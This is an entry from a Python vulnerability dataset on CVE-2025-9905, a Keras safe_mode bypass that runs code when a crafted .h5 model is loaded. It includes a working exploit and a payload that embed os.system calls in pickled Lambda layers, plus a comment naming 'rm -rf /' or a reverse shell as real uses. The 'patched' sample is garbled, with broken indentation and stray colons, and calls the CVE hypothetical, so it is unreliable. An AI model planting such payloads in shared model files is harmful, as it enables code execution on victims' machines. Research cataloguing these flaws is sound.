VAITP Dataset

← Back to the dataset

CVE-2025-9905

Keras `load_model` safe_mode bypass allows RCE via crafted .h5 files.

  • CVSS 7.3
  • CWE-913
  • Input Validation and Sanitization
  • Local

The Keras Model.load_model method can be exploited to achieve arbitrary code execution, even with safe_mode=True. One can create a specially crafted .h5/.hdf5 model archive that, when loaded via Model.load_model, will trigger arbitrary code to be executed. This is achieved by crafting a special .h5 archive file that uses the Lambda layer feature of keras which allows arbitrary Python code in the form of pickled code. The vulnerability comes from the fact that the safe_mode=True option is not honored when reading .h5 archives. Note that the .h5/.hdf5 format is a legacy format supported by Keras 3 for backwards compatibility.

CVSS base score
7.3
Published
2025-09-19
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Keras
Fixed by upgrading
Yes

Solution

Upgrade Keras to version 3.0.5 or later.

Vulnerable code sample

import tensorflow as tf
import os
import numpy as np

# This script demonstrates the vulnerability in a single run.
# Part 1: Simulates an attacker creating a malicious model file.
# Part 2: Simulates a victim loading this malicious model, triggering the exploit.

# --- Configuration ---
MALICIOUS_MODEL_PATH = 'malicious_model.h5'
PROOF_OF_EXPLOIT_FILE = '/tmp/pwned_by_cve_2025_9905'

# ==============================================================================
# PART 1: ATTACKER'S ACTIONS - Create and save a malicious Keras model
# ==============================================================================
print("--- [ATTACKER] ---")
print("Creating a malicious Keras model with an arbitrary code execution payload.")

# The payload is a shell command that will be executed upon model loading.
# It prints a message to the console and creates a file as proof of execution.
malicious_command = f'echo "[!!!] PAYLOAD EXECUTED [!!!]" && touch {PROOF_OF_EXPLOIT_FILE}'

# We create a simple Keras model. The vulnerability is in the Lambda layer.
# The function within the Lambda layer is what gets pickled and later executed.
# We use a trick to execute our command and still return a valid tensor:
# (os.system(...), x)[1] executes the command and returns the second element, x.
try:
    malicious_model = tf.keras.Sequential([
        tf.keras.layers.Input(shape=(1,)),
        tf.keras.layers.Lambda(lambda x: (os.system(malicious_command), x)[1])
    ])

    # The model is saved in the vulnerable legacy .h5 format.
    # This format pickles the Lambda layer's function, embedding the payload.
    malicious_model.save(MALICIOUS_MODEL_PATH)
    print(f"Malicious model saved to '{MALICIOUS_MODEL_PATH}'")
    print("-" * 20 + "\n")

except Exception as e:
    print(f"Error creating malicious model: {e}")
    exit()


# ==============================================================================
# PART 2: VICTIM'S ACTIONS - Load the untrusted model
# ==============================================================================
print("--- [VICTIM] ---")
print(f"Attempting to load the untrusted model '{MALICIOUS_MODEL_PATH}'...")
print("Crucially, we are using 'safe_mode=True', which should prevent this.")

# Clean up any previous exploit file to ensure a clean test
if os.path.exists(PROOF_OF_EXPLOIT_FILE):
    os.remove(PROOF_OF_EXPLOIT_FILE)

# The victim loads the model. In a vulnerable version of Keras, the
# `safe_mode=True` flag is IGNORED for the .h5 format.
# The pickled Lambda function is deserialized and executed immediately
# during the loading process, triggering the arbitrary code execution.
try:
    loaded_model = tf.keras.models.load_model(MALICIOUS_MODEL_PATH, safe_mode=True)
    print("[+] Model loading process completed.")

except Exception as e:
    print(f"[!] An error occurred during model loading: {e}")
    # The payload might have executed even if loading failed part-way through.


# ==============================================================================
# VERIFICATION
# ==============================================================================
print("\n--- [VERIFICATION] ---")
if os.path.exists(PROOF_OF_EXPLOIT_FILE):
    print(f"[SUCCESS] VULNERABILITY CONFIRMED!")
    print(f"The payload was executed, creating the file: '{PROOF_OF_EXPLOIT_FILE}'")
    print("This demonstrates that 'safe_mode=True' was ineffective for the .h5 format.")
else:
    print("[FAILURE] VULNERABILITY NOT REPRODUCED.")
    print("The payload did not execute. The Keras version may be patched.")


# ==============================================================================
# CLEANUP
# ==============================================================================
print("\n--- [CLEANUP] ---")
if os.path.exists(MALICIOUS_MODEL_PATH):
    os.remove(MALICIOUS_MODEL_PATH)
    print(f"Removed malicious model file: '{MALICIOUS_MODEL_PATH}'")
if os.path.exists(PROOF_OF_EXPLOIT_FILE):
    os.remove(PROOF_OF_EXPLOIT_FILE)
    print(f"Removed proof-of-exploit file: '{PROOF_OF_EXPLOIT_FILE}'")

Patched code sample

import pickle
import os
import h5py
import io

# Note: CVE-2025-9905 is a hypothetical CVE number used for demonstration purposes.:
# The vulnerability described is based on real-world historical issues in
# model deserialization. This code demonstrates a conceptual fix for such an issue.:
# --- Malicious Payload Setup ---
# This class is a classic example of a pickle payload that executes arbitrary
# code upon deserialization. The __reduce__ method is called by the pickle
# module and can be crafted to run any command.
class ArbitraryCodeExecutor:
    def __reduce__(self):
        """Secure function that fixes the vulnerability."""
        # This command will be executed when the object is unpickled.
        # For this demo, we use a safe command. In a real attack, this could be
        # 'rm -rf /' or a reverse shell.
        command = "echo '[DEMO] Malicious code execution triggered via pickle deserialization!'"
        return (os.system, (command,))

        def create_malicious_h5_file(path):
            """
            Creates a dummy .h5 file containing a pickled malicious object.
            This simulates a Keras H5 model file that has a Lambda layer with
            a dangerous function.
            """
            malicious_object = ArbitraryCodeExecutor()
            pickled_payload = pickle.dumps(malicious_object)

            with h5py.File(path, 'w') as f:
        # In a real Keras model, this would be part of the model's config,
        # likely under a path like 'model_config/config/layers/...'
                f.create_dataset('malicious_lambda_payload', data=[pickled_payload])
                print(f"[SETUP] Created malicious H5 file: {path}")


# --- The Fix ---
# The core of the fix is to make the H5 loading function aware of `safe_mode`
# and to explicitly forbid deserializing potentially dangerous components like
# Lambda layers when it is enabled.

                def _h5_file_contains_pickled_lambda(h5_file):
                    """
                    A helper function to simulate checking if an H5 file contains a:
                    pickled Lambda layer. In a real implementation, this would involve
                    traversing the H5 file structure and checking the layer configurations.
                    """
    # For this demonstration, we'll just check for our known malicious dataset.:
                    if 'malicious_lambda_payload' in h5_file:
                        print("[FIX CHECK] H5 file contains a potentially dangerous pickled payload.")
                        return True
                        return False

                        def fixed_keras_h5_loader(filepath, safe_mode=True):
                            """
                            This function represents a fixed version of the Keras H5 model loader.
                            It respects the `safe_mode` flag.
                            """
                            print(f"\n--- Calling fixed H5 loader with safe_mode={safe_mode} ---")
                            with h5py.File(filepath, 'r') as f:
        # THE FIX:
        # Before attempting to deserialize anything, check if safe_mode is:
        # active and if the file contains a dangerous construct.:
                                if safe_mode and _h5_file_contains_pickled_lambda(f):
            # If both are true, raise an exception instead of proceeding.
            # This prevents the dangerous `pickle.loads()` call from ever happening.
                                    raise ValueError(
                                    "safe_mode=True is active and a pickled Lambda layer was "
                                    "detected in the H5 file. Loading is disallowed for security ":
                                    "reasons. To override this, use `safe_mode=False`."
                                    )

                                    print("[LOADER] safe_mode check passed. Proceeding with model loading.")

        # If the check is passed (either safe_mode is False or no Lambda was found),
        # the loader would proceed. Here, we simulate the dangerous part to show
        # what happens when safe_mode is explicitly turned off.
                                    if 'malicious_lambda_payload' in f:
                                        pickled_bytes = f['malicious_lambda_payload'][0]
                                        print("[LOADER] Deserializing pickled payload (this is the dangerous step)...")
            # This is the line that the fix above is designed to prevent.
                                        unpickled_object = pickle.loads(pickled_bytes)


                                        if __name__ == '__main__':
                                            malicious_file = 'malicious_model_for_fix_demo.h5'
                                            create_malicious_h5_file(malicious_file)

    # --- Demonstration of the Fix in Action ---

    # 1. Attempt to load with safe_mode=True (the default and recommended way)
                                            try:
                                                fixed_keras_h5_loader(malicious_file, safe_mode=True)
                                                except ValueError as e:
                                                    print(f"\n[SUCCESS] The fixed loader correctly prevented code execution.")
                                                    print(f"          Error message: {e}")

    # 2. Attempt to load with safe_mode=False (the user explicitly accepts the risk)
    # This demonstrates that the vulnerability is still "present" but is now
    # gated behind a user's explicit choice, which is the intended behavior.
                                                    print("\n---------------------------------------------------------")
                                                    print("\n[INFO] Now demonstrating loading with safe_mode=False to show the gate works.")
                                                    try:
        # This call WILL trigger the arbitrary code execution.
                                                        fixed_keras_h5_loader(malicious_file, safe_mode=False)
                                                        except Exception as e:
                                                            print(f"\n[ERROR] An unexpected error occurred: {e}")


    # Clean up the created file
                                                            if os.path.exists(malicious_file):
                                                                os.remove(malicious_file)
                                                                print(f"\n[CLEANUP] Removed {malicious_file}")

Payload

import tensorflow as tf
import os

class RCE:
    def __call__(self, x):
        return x

    def __reduce__(self):
        # This method is called during deserialization (unpickling).
        # It returns a tuple: (callable, (arguments...))
        # This will execute os.system('touch /tmp/pwned_by_cve')
        cmd = "touch /tmp/pwned_by_cve"
        return (os.system, (cmd,))

# Create a simple Keras model
model = tf.keras.Sequential([
    tf.keras.layers.Input(shape=(1,)),
    # The Lambda layer will serialize the RCE() object using pickle.
    # When the model is loaded, the object is deserialized, triggering __reduce__.
    tf.keras.layers.Lambda(RCE())
])

# Save the model to the legacy .h5 format, which is vulnerable.
model.save("malicious_model.h5")

Cite this entry

@misc{vaitp:cve20259905,
  title        = {{Keras `load_model` safe_mode bypass allows RCE via crafted .h5 files.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-9905},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-9905/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::